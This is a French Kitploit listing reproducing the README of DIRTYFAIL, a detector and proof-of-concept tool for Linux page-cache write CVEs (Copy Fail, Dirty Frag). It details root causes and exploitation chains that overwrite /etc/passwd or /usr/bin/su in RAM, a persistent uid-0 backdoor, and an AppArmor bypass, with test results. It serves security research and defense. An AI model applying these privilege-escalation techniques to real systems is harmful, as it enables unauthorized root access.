Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
DIRTYFAIL — Détecteur + PoC pour les vulnérabilités d'écriture du cache de pages Linux : Copy Fail (CVE-2026-31431) et Dirty Frag (CVE-2026-43284/43500). Recherche en sécurité autorisée uniquement. | Kitploit
Outils/GitHubGitHub/karazajac/dirtyfail
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionArticles et RechercheApprentissage et ÉducationRed TeamingÉvasion de ConteneurExploitation de BinairesLabs et Pratique
GitHubkarazajac/dirtyfail

DIRTYFAIL

26124il y a 4 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Détecteur + PoC pour les vulnérabilités d'écriture du cache de pages Linux : Copy Fail (CVE-2026-31431) et Dirty Frag (CVE-2026-43284/43500). Recherche en sécurité autorisée uniquement.

Voir le dépôt

DIRTYFAIL

Un détecteur unifié et un harnais de preuve de concept (PoC) pour les familles de vulnérabilités d'écriture du cache de pages Linux Copy Fail et Dirty Frag.``` ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ ██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗ ╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝

root@kitploit:~
DIRTYFAIL est un outil C petit et bien documenté destiné aux chercheurs en sécurité.
Il détecte si un hôte Linux est vulnérable aux trois CVE de cette
famille, et — avec une confirmation explicite tapée — exécute une
preuve de concept réelle qui place l'appelant dans un shell root sur un
système vulnérable.

| CVE / variante | Nom | Couverture DIRTYFAIL |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (algif_aead `authencesn` écriture cache de pages) | Détection + PoC complet |
| **CVE-2026-43284 v4** | Dirty Frag — IPv4 xfrm-ESP écriture cache de pages          | Détection + PoC complet |
| **CVE-2026-43284 v6** | Dirty Frag — IPv6 xfrm-ESP écriture cache de pages (`esp6`) | Détection + PoC complet |
| **CVE-2026-43500**    | Dirty Frag — RxRPC écriture cache de pages                  | Détection + PoC complet |
| Variante Copy Fail GCM | xfrm-ESP `rfc4106(gcm(aes))` écriture cache de pages        | Détection + PoC complet |

**Modes bonus :**

- **`--scan --active`** — sondes actives sentinel-STORE. Par défaut `--scan`
  rapporte les préconditions par CVE (noyau, modules, état LSM) ainsi qu'une
  sonde active de la primitive Copy Fail. L'ajout de `--active` étend
  la sonde STORE du fichier sentinelle aux quatre autres primitives (ESP v4,
  ESP v6, RxRPC, GCM) : chacune déclenche le déclencheur noyau contre une
  sentinelle dans `/tmp` et ne signale VULNÉRABLE que si les octets marqueurs
  atterrissent réellement. C'est le seul moyen de distinguer un noyau avec
  un correctif rétroporté (les préconditions disent vulnérable mais la sonde
  dit intact) d'un noyau non corrigé sans exécuter l'exploit complet.
  `/etc/passwd` n'est jamais touché. Auto-calibrage du décalage STORE V6 par
  version de noyau.
- **`--exploit-backdoor`** — porte dérobée persistante uid-0 : remplacement
  à longueur identique d'une ligne `nologin`/`false`/`sync` dans `/etc/passwd`
  par `dirtyfail::0:0:<pad>:/:/bin/bash`. Survit à la sortie du shell jusqu'à
  ce que la page soit évincée. État stocké dans `/var/tmp/.dirtyfail.state`
  pour `--cleanup-backdoor`. Le nom d'utilisateur `dirtyfail` est délibérément
  choisi pour correspondre à ce projet afin qu'il soit immédiatement
  identifiable dans tout audit — changez `NEW_USER` dans `src/backdoor.c` si
  vous avez besoin d'un identifiant différent pour un engagement d'équipe
  rouge autorisé.
- **Contournement AppArmor** — bat la politique
  `apparmor_restrict_unprivileged_userns=1` d'Ubuntu via une ré-exécution
  `change_onexec("crun")` en un saut dans un profil non confiné qui conserve
  les capacités userns. Chaque mode d'exploitation gère cela en interne via
  un fork : le parent reste dans l'espace de nommage init, l'enfant effectue
  la danse de contournement, le parent lit le cache de pages global et
  exécute `su` pour un vrai root de l'espace de nommage init. L'option
  héritée `--aa-bypass` existe encore pour déboguer les mécanismes de
  contournement en isolation. Voir [§8.5 Architecture](#85-architecture-outerinner-fork-based-bypass).

## Fonctionnement vérifié sur

DIRTYFAIL a été **validé empiriquement de bout en bout** sur plusieurs
distributions et versions de noyau. La matrice ci-dessous reflète les
résultats de test par mode lors de l'exécution de chaque mode `--exploit-*`
contre une installation fraîche de chaque distribution.

| Distribution | Noyau | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | Porte dérobée | Shellcode SU |
|---|---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡²  | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (non testé) |
| Debian 13.4 | `6.12.86+deb13` | aucun | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Serveur) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (renforcé) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |

**Légende :** ✅ exploit atterri et a produit un vrai root de l'espace de nommage init  · 🛡 atténué — l'exploit ne peut pas atteindre le bogue noyau (noyau patché OU LSM bloque le chemin non privilégié)  · ⏭ non applicable (précondition manquante)

### Validation des sondes actives (`--scan --active`)

Le flag `--active` ajoute une sonde STORE de fichier sentinelle par CVE lors
de la détection. Nous avons validé les sorties des sondes contre les mêmes 4
distributions ci-dessus (Debian, Fedora, AlmaLinux, Ubuntu 26.04) — la
matrice ci-dessous montre le verdict de la sonde par mode et correspond
un-à-un à la vérité terrain de l'exploit complet :

| Distribution | Sonde Copy Fail | Sonde ESP v4 | Sonde ESP v6 | Sonde RxRPC | Sonde GCM |
|---|---|:-:|:-:|:-:|:-:|:-:|
| Debian 13.4 | intacte 🛡 | intacte 🛡 | intacte 🛡 | intacte 🛡 | intacte 🛡 |
| Fedora 44   | marqueur @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | changement d'octet ✅ | sentinelle[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | marqueur @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | préconditions ⏭ | sentinelle modifiée ✅ |
| Ubuntu 26.04 | intacte 🛡 | bloquée par LSM 🛡 | bloquée par LSM 🛡 | bloquée par LSM 🛡 | bloquée par LSM 🛡 |

Le décalage d'atterrissage STORE de la sonde V6 (8 sur Fedora et Alma)
correspond au `V6_STORE_SHIFT` empirique que `calibrate_v6_shift()` découvre
à l'exécution — confirmant que l'auto-calibrage remplace correctement la
constante précédemment codée en dur entre les versions de noyau.

¹ GCM et la porte dérobée nécessitent que `algif_aead` soit chargeable.
Ubuntu 24.04 fournit `/etc/modprobe.d/disable-algif_aead.conf` qui le
met sur liste noire comme mesure d'atténuation de Copy Fail. Une fois la
liste noire supprimée (par exemple sur un noyau antérieur à la mesure
d'atténuation), les deux modes fonctionnent de bout en bout.

² Le chemin algif_aead de Copy Fail est atténué par la liste noire de
modprobe ; la primitive CVE sous-jacente dans le noyau est la même que
`authencesn` soit atteignable ou non. xfrm-ESP, RxRPC et la variante GCM
atterrissent tous sur le même noyau car ils ne passent pas par algif_aead.

³ Le paquet `kernel-modules-extra` d'AlmaLinux 10 n'est pas installé par
défaut sur une installation minimale, donc `rxrpc.ko` est manquant sur le
disque. L'installation de `kernel-modules-extra-$(uname -r)` depuis EPEL ou
le dépôt extras AlmaLinux ramène le module ; sur une installation minimale
standard, RxRPC est inaccessible.

⁴ **Ubuntu 26.04 LTS bloque de manière exhaustive l'exploitation non
privilégiée.** Le noyau livré `7.0.0-15.15` (publié le 2026-04-22) **est
antérieur d'environ 2 semaines au patch principal `f4c50a4034e6` (fusionné
le 2026-05-07)** — donc le bogue EST toujours présent dans le noyau. La
défense d'Ubuntu est une **défense en profondeur via le renforcement
d'AppArmor**, pas un patch noyau :

- `apparmor_restrict_unprivileged_userns=1` est activé par défaut.
- Lors de `unshare(CLONE_NEWUSER)`, l'application AppArmor au niveau noyau
  fait transiter automatiquement TOUT profil (y compris ceux marqués
  `(unconfined)` comme `crun`, `chrome`, `unconfined` par défaut) vers un
  sous-profil `<profil>//&unprivileged_userns (mixed)` qui possède
  `audit deny capability`. uid 0 à l'intérieur du nouvel userns n'obtient
  aucune capacité.
- `change_onexec` vers un profil différent n'aide pas — même le profil
  `crun` (qui a une permission explicite `userns,` et
  `flags=(unconfined)`) effectue la transition automatique lors de unshare.
  Vérifié via `aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'`
  → `crun//&unprivileged_userns (mixed)`.
- `newuidmap`/`newgidmap` (setuid root) écrit avec succès uid_map, mais
  `setresuid(0)` réussit ensuite alors que `ioctl(SIOCSIFFLAGS)` et tous
  les autres appels système soumis à CAP_NET_ADMIN renvoient EPERM car le
  refus de capacité est par espace de nommage, pas par uid.

Le binaire DIRTYFAIL arme correctement son contournement et atteint le
stade 2, mais ne peut pas acquérir CAP_NET_ADMIN à l'intérieur du nouvel
userns. L'infrastructure de l'exploit est bloquée au niveau de la couche
LSM quelle que soit la technique de contournement. Nous avons testé
`change_onexec(crun)`, `change_onexec(chrome)`, `aa-exec -p <profil>`, et
`unshare(USER|NET) + newuidmap` directement — tous produisent le même
sous-profil `unprivileged_userns`.

**C'est un bon travail de sécurité de la part de Canonical.** La classe
de bogue est atténuée pour les utilisateurs non privilégiés sans nécessiter
une reconstruction du noyau. Une mise à jour stable ultérieure apportera
probablement aussi le patch noyau proprement dit, complétant ainsi la
défense.

⁵ **L'injection de shellcode `--exploit-su`** dépend de la même primitive
4 octets de Copy Fail algif_aead (`cf_4byte_write`). Sur les noyaux où
Copy Fail est patché (Debian 13.4) ou bloqué par LSM (Ubuntu 26.04 — mais
le chemin algif_aead a également été patché dans 7.0.0-15), l'opération
d'écriture s'exécute mais l'étape de vérification échoue (« le cache de
pages ne correspond pas au shellcode planté ») et la restauration
automatique rétablit `/usr/bin/su`. Testé de bout en bout sur AlmaLinux
10.1 (point d'entrée au décalage fichier `0x45b0`) et Fedora 44 (décalage
`0x1b60`) ; l'analyseur ELF gère la base PIE de chaque distribution
indépendamment. Preuve de root réel sur Fedora 44 :
`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`.

Reproductibilité des tests :

- Nous avons réinstallé chaque distribution à partir d'une ISO propre,
  configuré l'authentification par clé SSH + sudo NOPASSWD, cloné et
  compilé DIRTYFAIL sur chacune, pris un instantané Parallels `clean-build`,
  puis exécuté les 5 modes d'exploitation avec `--no-shell` (auto-revers
  via fadvise + drop_caches).
- Les lignes de résultats empiriques sont dérivées de l'analyse de la
  sortie réelle de `--exploit-*`, en recherchant les signaux de succès :
  `le cache de pages signale maintenant <utilisateur> avec uid 0`,
  `le champ mot de passe root est maintenant vide`,
  `est maintenant uid 0` (porte dérobée), ou l'un des motifs d'échec
  (`l'écriture n'a pas atterri`, `le basculement d'octet a échoué`,
  `setresuid : Invalide`, `add_rxrpc_key : Aucun périphérique`,
  `le cache de pages n'est pas dans la forme attendue`).
- Pour la vérification « root réel » de RxRPC et de la porte dérobée,
  nous avons lancé `echo "" | su - root` / `echo "" | su - dirtyfail` et
  confirmé `uid=0(root)` ainsi qu'une lecture réussie de `/etc/shadow`.

> **Tests autorisés uniquement.** N'utilisez DIRTYFAIL que sur des systèmes
> vous appartenant ou pour lesquels vous êtes explicitement mandaté pour
> une évaluation. Les modes d'exploitation corrompent `/etc/passwd` *dans le
> cache de pages du noyau* (le fichier sur disque n'est jamais touché).
> Le nettoyage s'effectue via `dirtyfail --cleanup` ou
> `echo 3 > /proc/sys/vm/drop_caches`.

---

## Table des matières

1. [La classe de vulnérabilité](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
    - [4.5 Aperçu de l'architecture](#45-architecture-overview)
5. [Compilation](#5-build)
6. [Utilisation](#6-usage)
7. [Comment DIRTYFAIL détecte chaque CVE](#7-how-dirtyfail-detects-each-cve)
8. [Comment DIRTYFAIL exploite chaque CVE](#8-how-dirtyfail-exploits-each-cve)
    - [8.5 Architecture : contournement basé sur fork externe/interne](#85-architecture-outerinner-fork-based-bypass)
9. [Atténuations](#9-mitigations)
10. [Éthique et divulgation](#10-ethics--disclosure)
11. [Crédits](#11-credits)

**Documents compagnons :**
- [`docs/DEFENDERS.md`](https://github.com/karazajac/dirtyfail/blob/main/docs/DEFENDERS.md) — guide de l'administrateur : suis-je vulnérable, comment atténuer, quoi surveiller.
- [`docs/RESEARCH.md`](https://github.com/karazajac/dirtyfail/blob/main/docs/RESEARCH.md) — audit des sources du noyau pour les chemins adjacents (AH, IPCOMP, MACsec, kTLS, etc.) pour la même classe de vulnérabilité.
- [`tools/dirtyfail-check.sh`](https://github.com/karazajac/dirtyfail/blob/main/tools/dirtyfail-check.sh) — détecteur bash autonome pour les administrateurs (aucune compilation nécessaire).
- [`tools/99-dirtyfail.rules`](https://github.com/karazajac/dirtyfail/blob/main/tools/99-dirtyfail.rules) — règles auditd prêtes à charger pour la chaîne d'exploitation.
- [`tools/dirtyfail-container-escape.sh`](https://github.com/karazajac/dirtyfail/blob/main/tools/dirtyfail-container-escape.sh) — démonstration du rayon d'explosion inter-espaces de nommage.
- [`tools/exploit_su_aarch64.S`](https://github.com/karazajac/dirtyfail/blob/main/tools/exploit_su_aarch64.S) — source du shellcode aarch64 (ARM64) pour `--exploit-su`. Non testé matériellement ; livré derrière `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. Régénérez les octets correspondants dans `src/exploit_su.c` avec `aarch64-linux-gnu-as` pour vérification.

---

## 1. La classe de vulnérabilité

Les vulnérabilités d'**écriture dans le cache de pages** permettent à un
utilisateur non privilégié de modifier la copie en mémoire du noyau d'un
fichier auquel il n'a qu'un accès en lecture. Le fichier sur disque n'est
jamais écrit ; la modification persiste en RAM jusqu'à ce que la page soit
évincée (`drop_caches`, pression mémoire, ou redémarrage).

Cette classe a commencé avec **Dirty Pipe** (CVE-2022-0847), qui abusait des
drapeaux `pipe_buffer`. Copy Fail et Dirty Frag sont des descendants qui
ciblent le membre `frag` de `struct sk_buff` à la place. Le mécanisme est
toujours le même :

1. L'espace utilisateur `splice()` une page du cache de pages depuis un
   fichier lisible (par ex. `/etc/passwd`, `/usr/bin/su`) dans le frag
   d'un tampon du noyau.
2. Un chemin de réception effectue une opération cryptographique **sur
   place** sur ce tampon — les mêmes pages sont à la fois source et
   destination de l'opération.
3. La routine cryptographique effectue un STORE « scratch » en dehors de la
   zone de données (un réarrangement de numéro de séquence, un déchiffrement
   d'un seul bloc, etc.) qui atterrit à l'intérieur de la page épinglée par
   l'utilisateur.
4. La copie du fichier dans le cache de pages est désormais modifiée de
   manière permanente pour tous les lecteurs sur l'hôte, jusqu'à ce que la
   page soit évincée.

Parce que le bogue est un **défaut logique déterministe**, pas une
condition de course, les taux de succès sont essentiellement de 100 % et
le noyau ne panique pas en cas d'échec.

---

## 2. CVE-2026-31431 — Copy Fail

* Divulgation : **2026-04-29**
* Site : <https://copy.fail/>
* PoC original (C) :     [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* PoC original (Python) : [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* Introduit par le commit :  `72548b093ee3` (2017)
* Corrigé par le commit :       `a664bf3d` (mainline 6.12 / 6.17 / 6.18 stables)
* Confirmé affecté :    Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16

### Cause racine

Le module `algif_aead` du noyau expose l'API crypto AEAD à l'espace
utilisateur via `AF_ALG`. Le modèle
`authencesn(hmac(sha256), cbc(aes))` implémente les ESN (numéros de
séquence étendus) du RFC-4303 ; une partie de son chemin de déchiffrement
effectue une **écriture scratch de 4 octets** pour réarranger le numéro de
séquence :```c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
    /* Move high-order bits of sequence number to the end. */
    scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
    if (src == dst) {
        scatterwalk_map_and_copy(tmp,     dst, 4,                  4, 1);
        scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);  // ★
        ...

La STORE à ★ est inoffensive sur un paquet IPsec normal — elle atterrit à l'intérieur de la zone d'étiquette du skb, qui appartient au noyau. Le template crypto suppose que src et dst pointent vers la mémoire du noyau.

algif_aead viole cette hypothèse. Il accepte splice() depuis l'espace utilisateur, ce qui place des pages du cache de pages dans la scatterlist de la requête. Comme l'AEAD s'exécute sur place (req->dst = req->src), la page du cache de pages se retrouve maintenant au décalage de la scatterlist de destination que cible l'écriture de travail.

Les 4 octets qui sont écrits sont les octets 4..7 de l'AAD envoyé par l'espace utilisateur — le champ "seqno_lo" d'un en-tête ESP, que l'attaquant remplit avec ce qu'il veut.

Primitive réseau : écriture de 4 octets à un décalage arbitraire dans le cache de pages de tout fichier que l'attaquant peut ouvrir avec open(O_RDONLY).

Exploitation

La weaponisation la plus simple est dans /etc/passwd. Une ligne utilisateur normale ressemble à :``` kara❌1000:1000:Kara,,,:/home/kara:/bin/bash

root@kitploit:~
Flipping `1000` (le champ UID, exactement 4 octets ASCII pour tout UID
1000–9999) en `0000` fait que `getpwnam()` de glibc rapporte uid=0 pour
cet utilisateur. PAM, cependant, continue d'authentifier via le
`/etc/shadow` sur disque (qui n'est pas touché), donc `su <utilisateur>` demande le
mot de passe réel, le valide, puis exécute `setuid(0)` — et aboutit à root
parce que la copie en cache de page de `/etc/passwd` indique que nous sommes root.

L'intégrité de `/etc/shadow` est préservée. Le `/etc/passwd` sur disque est
préservé. Seule la copie en RAM du noyau de `/etc/passwd` est corrompue,
et seulement jusqu'à `drop_caches` ou un redémarrage.

---

## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)

* Divulgation: **2026-04-30 → 2026-05-08**
* PoC original (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* Chercheur: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* Introduit par le commit: `cac2661c53f3` (2017-01-17)
* Corrigé par le commit:      `f4c50a4034e6` (mainline net.git, fusionné le 2026-05-07)
* Affecté confirmé:   Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
                        CentOS Stream 10, AlmaLinux 10, Fedora 44

### Cause racine

`esp_input()` est censé appeler `skb_cow_data()` avant le déchiffrement AEAD
sur place lorsqu'un skb est non-linéaire (c'est-à-dire a des fragments). Le chemin du code
a un court-circuit:```c
if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb)) {
        nfrags = 1;
        goto skip_cow;
    } else if (!skb_has_frag_list(skb)) {        // ★ bug
        nfrags = skb_shinfo(skb)->nr_frags;
        nfrags++;
        goto skip_cow;
    }
}

Si le skb possède des fragments mais pas de frag_list, esp_input contourne skb_cow_data et passe directement le fragment fourni par l'utilisateur au modèle AEAD. La même écriture temporaire authencesn(...) qui alimente Copy Fail atterrit alors au décalage de fichier (assoclen + cryptlen) de la page épissée.

Les 4 octets STOREd sont seq_hi de l'état replay_esn de la SA — contrôlés par l'attaquant lors de l'enregistrement de la SA via l'attribut netlink XFRMA_REPLAY_ESN_VAL.

Coût : l'enregistrement d'une SA XFRM nécessite CAP_NET_ADMIN, donc l'attaquant entre d'abord dans un nouvel espace de noms utilisateur via unshare(CLONE_NEWUSER). Ceci est autorisé par défaut sur la plupart des distributions (le profil durci d'Ubuntu étant l'exception notable).

Crucialement, cette primitive fonctionne même lorsque la mitigation Copy Fail d'algif_aead est en place — le chemin xfrm ne passe pas par algif_aead. Un défenseur qui a seulement mis sur liste noire algif_aead reste vulnérable à Dirty Frag.

Exploitation

Le PoC publié par V4bel écrit un ELF statique "root-shell" de 192 octets sur les 192 premiers octets du cache de pages de /usr/bin/su, en utilisant 48 STOREs séquentiels de 4 octets. Après modification, execve("/usr/bin/su") exécute le nouveau point d'entrée ELF avec le bit setuid-root intact, abandonne complètement PAM, et exécute execve("/bin/sh") depuis l'intérieur du shellcode.

DIRTYFAIL adopte l'approche plus simple du basculement UID dans /etc/passwd (un seul STORE de 4 octets — la même cible que Copy Fail) pour deux raisons :

  1. C'est une démonstration de primitive à écriture unique, plus facile à étudier.
  2. Elle est entièrement réversible avec POSIX_FADV_DONTNEED et ne laisse pas /usr/bin/su dans un état corrompu pour les autres utilisateurs du système.

4. CVE-2026-43500 — Dirty Frag (RxRPC)

  • Divulgation : 2026-04-29 → 2026-05-08
  • Correctif : non présent dans aucun arbre au 2026-05-08 ; correctif du chercheur en attente : lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
  • Chercheur : Hyunwoo Kim (@v4bel)
  • Introduit par le commit : 2dc334f1a63a (2023-06)

Cause racine

rxkad_verify_packet_1() effectue un déchiffrement sur place pcbc(fcrypt) d'un seul bloc sur les 8 premiers octets d'un paquet de données RxRPC :```c sg_init_table(sg, ARRAY_SIZE(sg)); ret = skb_to_sgvec(skb, sg, sp->offset, 8); memset(&iv, 0, sizeof(iv)); skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE

root@kitploit:~
Si une page du cache de pages a été épissée dans le frag du skb, le déchiffrement de 8 octets est effectué par-dessus.

**Différence avec xfrm-ESP** : les 8 octets qui sont STOCKÉS sont `fcrypt_decrypt(C, K)`, où `C` est le texte chiffré existant à ce décalage de fichier et `K` est la clé de session d'un token RxRPC v1 que l'attaquant a enregistré via `add_key("rxrpc", ...)`. L'attaquant ne contrôle pas directement la valeur STOCKÉE — il doit forcer brutalement `K` jusqu'à ce que `fcrypt_decrypt(C, K)` produise le texte clair souhaité.

`fcrypt` est un chiffrement Andrew File System avec une **clé de 56 bits** et un bloc de 8 octets. Il est déterministe ; il se porte proprement en espace utilisateur ; et son espace de clés est suffisamment petit pour qu'une cible contrainte de 8 octets puisse être forcée brutalement en quelques millisecondes à secondes selon le budget de contrainte.

**Crucialement, ce chemin n'a PAS besoin de privilèges d'espace de noms** — `add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, `splice` sont tous disponibles pour tout utilisateur non privilégié. RxRPC comble le fossé sur le profil hardened-userns d'Ubuntu (où xfrm-ESP est bloqué) car `rxrpc.ko` est livré dans la construction par défaut d'Ubuntu.

### Exploitation

L'exploit complet :

1. Force brutale de `K_A`, `K_B`, `K_C` en espace utilisateur de sorte que les trois STOCKAGES aux décalages 4, 6, 8 de `/etc/passwd` produisent respectivement `"::"`, `"0:"`, `"0:GGGGGG:"` (dernière écriture gagne).
2. Pour chaque `K_i`, enregistrer un token RxRPC v1 avec `add_key`, effectuer une poignée de main AF_RXRPC forgée contre un faux serveur UDP dans le même processus, et déclencher `rxkad_verify_packet_1` via splice.
3. La copie du cache de pages de la ligne 1 de `/etc/passwd` est maintenant `root::0:0:GGGGGG:/root:/bin/bash` — un champ mot de passe vide.
4. PAM avec `pam_unix.so nullok` accepte le mot de passe vide ; `su -` donne un shell root.

### Couverture DIRTYFAIL

DIRTYFAIL fournit **à la fois** une détection et un PoC complet pour cette CVE.

L'implémentation de DIRTYFAIL se trouve dans `src/dirtyfrag_rxrpc.c` et `src/fcrypt.c` :

- **Chiffrement fcrypt** (`fcrypt.c`) : clé de 56 bits, bloc de 8 octets, Feistel à 16 tours ; S-boxes standard du protocole rxkad. Inclut un harnais de force brutale monocœur (~18 Mops/s) qui recherche l'espace de clés jusqu'à ce qu'un texte clair candidat satisfasse un prédicat fourni par l'appelant.
- **Somme de contrôle rxkad** (`compute_csum_iv`, `compute_cksum`) : formule du noyau reproduite via AF_ALG `pcbc(fcrypt)` afin que la somme de contrôle sur le fil dans notre paquet DATA forgé passe la barrière de `rxkad_verify_packet`.
- **Construction de token RxRPC v1** (`build_rxrpc_v1_token`) : token rxkad encodé XDR enregistré via `add_key("rxrpc", ...)` avec notre clé de session forcée brutalement.
- **Client AF_RXRPC + faux serveur UDP** : le client initie un appel, le faux serveur extrait (epoch, cid, callNumber) du premier paquet et émet un CHALLENGE forgé afin que le client amorce `conn->rxkad.cipher` avec notre clé.
- **Déclencheur splice** (`do_one_trigger`) : vmsplice de l'en-tête DATA forgé sur le fil → splice de 8 octets depuis `/etc/passwd` → splice du tube → udp_srv → recvmsg conduit le noyau à travers `rxkad_verify_packet_1` → STOCKAGE de 8 octets.
- **Chaîne de 3 splices avec correction du texte chiffré en chaîne** : force brutale de K_A / K_B / K_C, en appliquant le décalage du texte chiffré en chaîne entre les passes (après que le splice A a écrasé les octets 4..11, le texte chiffré du splice B aux octets 6..13 commence par `P_A[2..7]` ; idem pour C contre B).

Le PoC final reforme la ligne 1 de `/etc/passwd` en :```
root::0:0:GGGGG:/root:/bin/bash

— champ de mot de passe vide — et execlp("su", "-") puis obtient un shell root car pam_unix.so nullok accepte un mot de passe vide.

Pour comparaison et vérification par rapport au PoC amont, voir le exp.c de V4bel : https://github.com/V4bel/dirtyfrag.


4.5 Aperçu de l'architecture

DIRTYFAIL est un seul binaire C construit à partir d'environ 10 modules sources. La structure de haut niveau :``` ┌─────────────────────────────────────────┐ │ dirtyfail (CLI) │ │ src/dirtyfail.c — argv → mode dispatch │ └────────────────┬────────────────────────┘ │ ┌──────────────────┬───────┼───────┬─────────────────┬───────────┐ │ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐ │ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │ │ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │ │ │ │ │ │ cleanup │ │ │ │ │ └──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘ │ │ │ │ │ ┌────────────────┼──────────────────┼────────────────┘ │ │ │ │ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │ │ bypass.c │ │ → fork → child │ │ (gcm primitive) │ │ │ │ outer/inner │ │ │ │ * sysctl │ │ split │ │ used by gcm + │ │ * caps_blocked │ │ │ backdoor for │ │ * fork_arm │ │ parent stays │ │ arbitrary-byte │ └──────┬───────┘ │ in init ns, │ │ writes │ │ │ child re-execs │ └────────┬─────────┘ │ │ via change_ │ │ ▼ │ onexec(crun) + │ ▼ ┌──────────────┐ │ AA stage 1/2 │ ┌──────────────────┐ │ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │ │ handler │ │ → run inner │ │ keystream brute │ └──────────────┘ └──────────────────┘ │ force │ └──────────────────┘

Per-CVE primitives (each has detect/exploit/exploit_inner functions):

┌──────────────────────────────────────────────────────────────────────┐ │ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │ │ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │ │ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │ │ fcrypt.c rxkad cipher (56-bit Feistel) │ │ backdoor.c persistent /etc/passwd line overwrite │ └──────────────────────────────────────────────────────────────────────┘

root@kitploit:~
**Choix de conception clés :**

- **Division externe/interne** : chaque exploit forke un enfant pour le travail
  noyau. Le parent reste dans l'espace de noms init afin que le `execlp("su",
  user)` ultérieur atteigne la vraie racine de l'espace de noms init. Voir
  [§8.5 Architecture](#85-architecture-outerinner-fork-based-bypass).
- **Le cache de pages est global** : l'enfant écrit depuis son espace de noms utilisateur bypassé,
  le parent lit depuis l'espace de noms init ; les mêmes octets sont visibles.
- **Les variables d'environnement transportent l'état parent → enfant** : `DIRTYFAIL_INNER_MODE`,
  `DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc),
  `DIRTYFAIL_LINE_OFF` etc. (backdoor). `execv` préserve l'environnement
  entre les transitions d'étape.
- **Compagnon défensif** : `--mitigate` déploie les mêmes listes noires +
  le durcissement sysctl que les distributions fournissent comme atténuations officielles.
  `--scan` détecte quand les capacités sont bloquées par LSM et rapporte
  « atténué » au lieu de « CONDITIONS PRÉALABLES DE VULNÉRABILITÉ remplies ».

---

## 5. Construction

### Prérequis

